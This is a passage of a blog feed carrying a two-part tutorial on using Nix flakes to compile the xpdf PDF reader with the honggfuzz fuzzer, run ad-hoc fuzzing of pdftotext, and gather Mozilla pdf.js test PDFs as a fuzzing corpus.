&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>$ ./result/bin/pdftotext fw4.pdf /dev/stdout | head -n 5
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Form W-4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Department of the Treasury Internal Revenue Service
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Employee&amp;#39;s Withholding Certificate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Complete Form W-4 so that your employer can withhold the correct federal income tax from your pay. Give Form W-4 to your employer.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, that looks correct.&lt;/p>
&lt;p>The full source at this stage is &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/tree/01-compile-xpdf">available on Gitlab&lt;/a>.&lt;/p>
&lt;h2 id="that-was-confusingly-easy">That was confusingly easy&lt;/h2>
&lt;p>If you&amp;rsquo;re confused about how Nix built the xpdf binaries, so was I.&lt;/p>
&lt;p>I hadn&amp;rsquo;t even told Nix what the build process was for xpdf, so how did it know?&lt;/p>
&lt;p>It turns out that the Nix &lt;code>mkDerivation&lt;/code> function I called assumes a standard &lt;code>make&lt;/code> build process:&lt;/p>
&lt;blockquote>
&lt;p>for Unix packages that use the standard &lt;code>./configure; make; make install&lt;/code> build interface, you don’t need to write a build script at all; the standard environment does everything automatically. If &lt;code>stdenv&lt;/code> doesn’t do what you need automatically, you can easily customise or override the various build phases.&lt;/p>
&lt;p>&lt;a href="https://nixos.org/manual/nixpkgs/stable/#chap-stdenv">&amp;ldquo;The Standard Environment&amp;rdquo;&lt;/a> from the Nix Manual&lt;/p>&lt;/blockquote>
&lt;p>Still, it seemed a bit &lt;em>too&lt;/em> magical to me.&lt;/p>
&lt;p>The xpdf instructions explain how you have to &lt;a href="https://gitlab.com/mtlynch/xpdf/-/blob/4.05/INSTALL#L61-70">tell the compiler where to find FreeType&amp;rsquo;s headers and libraries&lt;/a>. I never did that, so how was Nix compiling the project anyway?&lt;/p>
&lt;p>And &lt;code>make install&lt;/code> normally writes to a system-wide directory like &lt;code>/usr/bin&lt;/code>, so how did that happen if I never elevated to root privileges with &lt;code>sudo&lt;/code>?&lt;/p>
&lt;p>I suspected that, in addition to implicitly calling the &lt;code>make&lt;/code> build sequence, Nix was quietly controlling the build process through environment variables.&lt;/p>
&lt;p>To test my theory, I replaced the default &lt;code>installPhase&lt;/code> section of &lt;code>mkDerivation&lt;/code> with one that dumped all of the environment variables:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> installPhase = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> printenv
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> make install
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I then re-ran &lt;code>nix build&lt;/code> with verbose logging:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix build -L
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Sure enough, I saw that it pointed to the FreeType headers via the &lt;code>CMAKE_INCLUDE_PATH&lt;/code> variable:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>CMAKE_INCLUDE_PATH=/nix/store/rmqyzrzpz2kzmn8329bc4fjmzvd33ylw-freetype-2.13.2-dev/include:...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And the reason it hadn&amp;rsquo;t scribbled over my &lt;code>/usr/bin&lt;/code> directory was that Nix told CMake to install in a Nix-specific install directory:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>cmakeFlags=...-DCMAKE_INSTALL_BINDIR=/nix/store/7w4ql3kdrl3c0knnvx3lxsnrqfzfcy34-xpdf-4.05/bin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This aspect of Nix&amp;rsquo;s behavior is a double-edged sword. When it works, it feels magical that Nix figured out the build process without me having to hold its hand. But if it hadn&amp;rsquo;t worked, I&amp;rsquo;d have to debug the issue through Nix&amp;rsquo;s opaque abstractions.&lt;/p>
&lt;h2 id="compiling-xpdf-with-honggfuzz">Compiling xpdf with honggfuzz&lt;/h2>
&lt;p>Now that I can compile xpdf successfully, it&amp;rsquo;s time to introduce the fuzz testing part of the workflow.&lt;/p>
&lt;p>&lt;a href="https://github.com/google/honggfuzz">honggfuzz&lt;/a> is a Google-maintained fuzz testing tool. It&amp;rsquo;s a coverage-guided fuzzer, which means that it traces which parts of the target binary execute for a particular test input. When it discovers an input that causes the binary to execute a new code path, it generates more inputs similar to the one that opened a new code path, as it means a greater chance of hitting untested behavior.&lt;/p>
&lt;p>honggfuzz ships with C and C++ compilers, so compiling xpdf with honggfuzz should be as simple as pointing Nix at honggfuzz&amp;rsquo;s compilers instead of Nix&amp;rsquo;s default compilers. To do this, I first modify &lt;code>nativeBuildInputs&lt;/code> to include the &lt;a href="https://search.nixos.org/packages?channel=24.05&amp;amp;show=honggfuzz&amp;amp;from=0&amp;amp;size=50&amp;amp;sort=relevance&amp;amp;type=packages&amp;amp;query=honggfuzz">&lt;code>honggfuzz&lt;/code>&lt;/a> package, so that it&amp;rsquo;s available during compilation:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nativeBuildInputs = &lt;span style="color:#6ab825;font-weight:bold">with&lt;/span> pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cmake
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> honggfuzz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, now honggfuzz will be available in my build environment, but how do I tell CMake to use the honggfuzz compiler instead of whatever it was using before?&lt;/p>
&lt;p>Make and CMake obey the &lt;a href="https://cmake.org/cmake/help/latest/envvar/CC.html">&lt;code>CC&lt;/code>&lt;/a> and &lt;a href="https://cmake.org/cmake/help/latest/envvar/CXX.html">&lt;code>CXX&lt;/code>&lt;/a> environment variables, which specify, respectively, which C and C++ compilers to use.&lt;/p>
&lt;p>I can see that honggfuzz ships with compilers called &lt;a href="https://github.com/google/honggfuzz/tree/2.6/hfuzz_cc">hfuzz-clang and hfuzz-clang++&lt;/a>. That sounds promising, but I don&amp;rsquo;t know where to find those binaries in honggfuzz&amp;rsquo;s Nix package. I search the package like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix build nixpkgs#honggfuzz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ find -L result -type f -name hfuzz-clang
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>result/bin/hfuzz-clang
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, that tells me that the compilers in honggfuzz&amp;rsquo;s Nix package are in the &lt;code>bin/&lt;/code> subdirectory.&lt;/p>
&lt;p>To tell Nix to build xpdf using the honggfuzz compilers, I point the &lt;code>CC&lt;/code> and &lt;code>CXX&lt;/code> variables to the right compiler paths:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> preConfigure = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> export CC=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pkgs.honggfuzz&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/hfuzz-clang
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> export CXX=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pkgs.honggfuzz&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/hfuzz-clang++
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I build with verbose output, I see that Nix is indeed using the hongfuzz compilers:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix build -L
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>xpdf&amp;gt; -- The C compiler identification is Clang 16.0.6
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>xpdf&amp;gt; -- The CXX compiler identification is Clang 16.0.6
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>xpdf&amp;gt; -- Check &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> working C compiler: /nix/store/kb9vkjv4admbdixrjyanfb1i9dd3cbmm-honggfuzz-2.6/bin/hfuzz-clang - skipped
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>xpdf&amp;gt; -- Check &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> working CXX compiler: /nix/store/kb9vkjv4admbdixrjyanfb1i9dd3cbmm-honggfuzz-2.6/bin/hfuzz-clang++ - skipped
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, &lt;code>flake.nix&lt;/code> should &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/blob/02-compile-xpdf-with-hongg/flake.nix">look like this&lt;/a>.&lt;/p>
&lt;h2 id="ad-hoc-fuzzing-in-a-dev-shell">Ad-hoc fuzzing in a dev shell&lt;/h2>
&lt;p>I&amp;rsquo;ve compiled xpdf using honggfuzz&amp;rsquo;s compiler, but now I want to get to the fun stuff.&lt;/p>
&lt;p>I could set up an elegant command for kicking off fuzzing within my Nix flake, but at this point, I just want to get my hands dirty and start messing around as quickly as possible. To do that, I create a Nix dev shell with all of my tools available.&lt;/p>
&lt;p>To create a Nix dev shell, I add the following to my Nix flake:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> devShells.default = pkgs.mkShell {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> buildInputs = self.packages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.xpdf.nativeBuildInputs ++ (&lt;span style="color:#6ab825;font-weight:bold">with&lt;/span> pkgs; [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> wget
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> shellHook = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> wget --version | head -n 1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, &lt;code>flake.nix&lt;/code> should &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/blob/03-dev-shell/flake.nix">look like this&lt;/a>.&lt;/p>
&lt;p>I enter my Nix dev shell by typing &lt;code>nix develop&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix develop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>GNU Wget 1.21.4 built on linux-gnu.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &amp;ldquo;GNU Wget&amp;rdquo; output is from &lt;code>shellHook&lt;/code>, which prints the version numbers of the tools available within the shell. The &lt;code>honggfuzz&lt;/code> binary is also available:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ honggfuzz --help 2&amp;gt;&amp;amp;&lt;span style="color:#3677a9">1&lt;/span> | head -n &lt;span style="color:#3677a9">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Usage: honggfuzz [options] -- path_to_command [args]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That works because, within &lt;code>mkShell&lt;/code>, I specified &lt;code>buildInputs&lt;/code> as all the &lt;code>nativeBuildInputs&lt;/code> from the xpdf package (&lt;code>cmake&lt;/code> and &lt;code>honggfuzz&lt;/code>) plus &lt;code>wget&lt;/code>, which I want only in my dev shell for downloading PDFs.&lt;/p>
&lt;p>Next, I create a directory to store the fuzz results. Since this is just experimental, I&amp;rsquo;m using a temporary directory:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PDF_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp --directory&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then, I grab a PDF to use as my sample input.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#40ffff">PDF_URL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;https://www.irs.gov/pub/irs-pdf/fw4.pdf&amp;#39;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> wget --directory-prefix=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PDF_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PDF_URL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I do one more &lt;code>nix build&lt;/code> to ensure that &lt;code>pdftotext&lt;/code> is ready to run under the &lt;code>./result/bin&lt;/code> folder:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ nix build &amp;amp;&amp;amp; ./result/bin/pdftotext -v
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pdftotext version 4.05 [www.xpdfreader.com]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Copyright 1996-2024 Glyph &amp;amp; Cog, LLC
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, it&amp;rsquo;s the moment of truth. I kick off honggfuzz&amp;rsquo;s test runner:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ honggfuzz &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --input &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PDF_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -- ./result/bin/pdftotext ___FILE___
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s how it works:&lt;/p>
&lt;ul>
&lt;li>&lt;code>--input &amp;quot;${PDF_DIR}&amp;quot;&lt;/code> specifies the directory of input files to mutate.&lt;/li>
&lt;li>&lt;code>-- ./result/bin/pdftotext ___FILE___&lt;/code>: Specifies the target program to fuzz. &lt;code>___FILE___&lt;/code> is a placeholder parameter. honggfuzz replaces it with the path to a newly generated file on each execution.&lt;/li>
&lt;/ul>
&lt;p>I run the command and am greeted to the honggfuzz fuzzing interface:&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 591px">



 &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/hfuzz.webp">
 &lt;img
 
 sizes="(min-width: 768px) 591px, 98vw"
 srcset='https://mtlynch.io/nix-fuzz-testing-1/hfuzz_hu_8ea06db6bcd7a785.webp 300w, https://mtlynch.io/nix-fuzz-testing-1/hfuzz.webp 591w'
 src="https://mtlynch.io/nix-fuzz-testing-1/hfuzz.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>honggfuzz shows a terminal UI to display fuzz testing progress&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It worked! I could let honggfuzz run for a few days to see if it catches anything, but I want to polish the workflow a bit more to increase the probability of finding bugs.&lt;/p>
&lt;h2 id="next-using-nix-to-find-an-unpatched-bug-in-xpdf">Next: Using Nix to find an unpatched bug in xpdf&lt;/h2>
&lt;p>At this point, I&amp;rsquo;ve shown how to use Nix and honggfuzz to perform basic fuzz testing of the xpdf PDF reader.&lt;/p>
&lt;p>In my follow-up post, I&amp;rsquo;ll show how to:&lt;/p>
&lt;ul>
&lt;li>Automate the complete fuzzing workflow.&lt;/li>
&lt;li>Gather tricky PDFs that are more likely to cause crashes.&lt;/li>
&lt;li>Find an unpatched bug in the latest version of xpdf.&lt;/li>
&lt;/ul>
&lt;p>Read on below:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/nix-fuzz-testing-2/">Using Nix to Fuzz Test a PDF Parser (Part Two)&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to &lt;a href="https://twitter.com/Nosoynadiemas">Antonio Morales&lt;/a> for creating the &lt;a href="https://github.com/antonio-morales/Fuzzing101">Fuzzing101 tutorial series&lt;/a> upon which this work is based.&lt;/em>&lt;/p></content:encoded></item><item><title>Using Nix to Fuzz Test a PDF Parser (Part Two)</title><link>https://mtlynch.io/nix-fuzz-testing-2/</link><pubDate>Wed, 23 Oct 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/nix-fuzz-testing-2/</guid><description>&lt;p>This is the second half of a post about &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">using Nix to automate a fuzz testing workflow&lt;/a>.&lt;/p>
&lt;p>At this point, I can run honggfuzz against &lt;code>pdftotext&lt;/code>, but it takes a bit of manual effort to get things started. I promised in part one that I&amp;rsquo;d get all of the installation and fuzzing down to a single command.&lt;/p>
&lt;h2 id="downloading-tricky-pdfs">Downloading tricky PDFs&lt;/h2>
&lt;p>In my ad-hoc fuzzing, I manually downloaded a PDF from the IRS website. I&amp;rsquo;ll start by automating that step.&lt;/p></description><content:encoded>&lt;p>This is the second half of a post about &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">using Nix to automate a fuzz testing workflow&lt;/a>.&lt;/p>
&lt;p>At this point, I can run honggfuzz against &lt;code>pdftotext&lt;/code>, but it takes a bit of manual effort to get things started. I promised in part one that I&amp;rsquo;d get all of the installation and fuzzing down to a single command.&lt;/p>
&lt;h2 id="downloading-tricky-pdfs">Downloading tricky PDFs&lt;/h2>
&lt;p>In my ad-hoc fuzzing, I manually downloaded a PDF from the IRS website. I&amp;rsquo;ll start by automating that step.&lt;/p>
&lt;p>While I&amp;rsquo;m automating, I can probably do better than a single PDF. For fuzzing, my goal is to have an expansive variety of PDFs that exercise different parts of the PDF file format.&lt;/p>
&lt;p>Adobe &lt;a href="https://web.archive.org/web/20150228065245/http://acroeng.adobe.com/wp/?page_id=10">used to have a corpus of interesting-looking test PDFs&lt;/a>, but they&amp;rsquo;ve taken it offline.&lt;/p>
&lt;p>The best collection of difficult-to-parse PDFs I found was in Mozilla&amp;rsquo;s pdf.js project. It &lt;a href="https://github.com/mozilla/pdf.js/tree/v4.7.76/test/pdfs">contains 700 PDFs&lt;/a> that have caused parsing bugs in their tool, so it&amp;rsquo;s likely that these same PDFs will trip up other PDF parsers.&lt;/p>
&lt;p>I create a new build step in my Nix flake that downloads all the PDFs from Mozilla&amp;rsquo;s pdf.js project:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sample-pdfs = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pname = &lt;span style="color:#ed9d13">&amp;#34;sample-pdfs&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version = &lt;span style="color:#ed9d13">&amp;#34;4.7.76&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> src = pkgs.fetchzip {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#34;https://github.com/mozilla/pdf.js/archive/refs/tags/v&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>version&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.zip&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash = &lt;span style="color:#ed9d13">&amp;#34;sha256-2xt8j2xJ3Teg/uiwjbWnpR6zckdxsp3LVbfsbBc3Dco=&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> buildCommand = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> mkdir -p $out
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> cp $src/test/pdfs/*.pdf $out
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, &lt;code>flake.nix&lt;/code> should &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/blob/04-download-pdfs/flake.nix">look like this&lt;/a>.&lt;/p>
&lt;p>I run the new &lt;code>sample-pdfs&lt;/code> build step with the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix build .#sample-pdfs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>From there, I verify that Nix successfully downloaded 700 PDFs:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ls ./result | head -n &lt;span style="color:#3677a9">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>160F-2019.pdf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>alphatrans.pdf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>annotation-border-styles.pdf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>annotation-button-widget.pdf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>annotation-caret-ink.pdf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls ./result | wc --lines
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">700&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The new build step gives me an initial corpus of edge case PDFs that will hopefully exercise less frequent code paths of any PDF parsing code.&lt;/p>
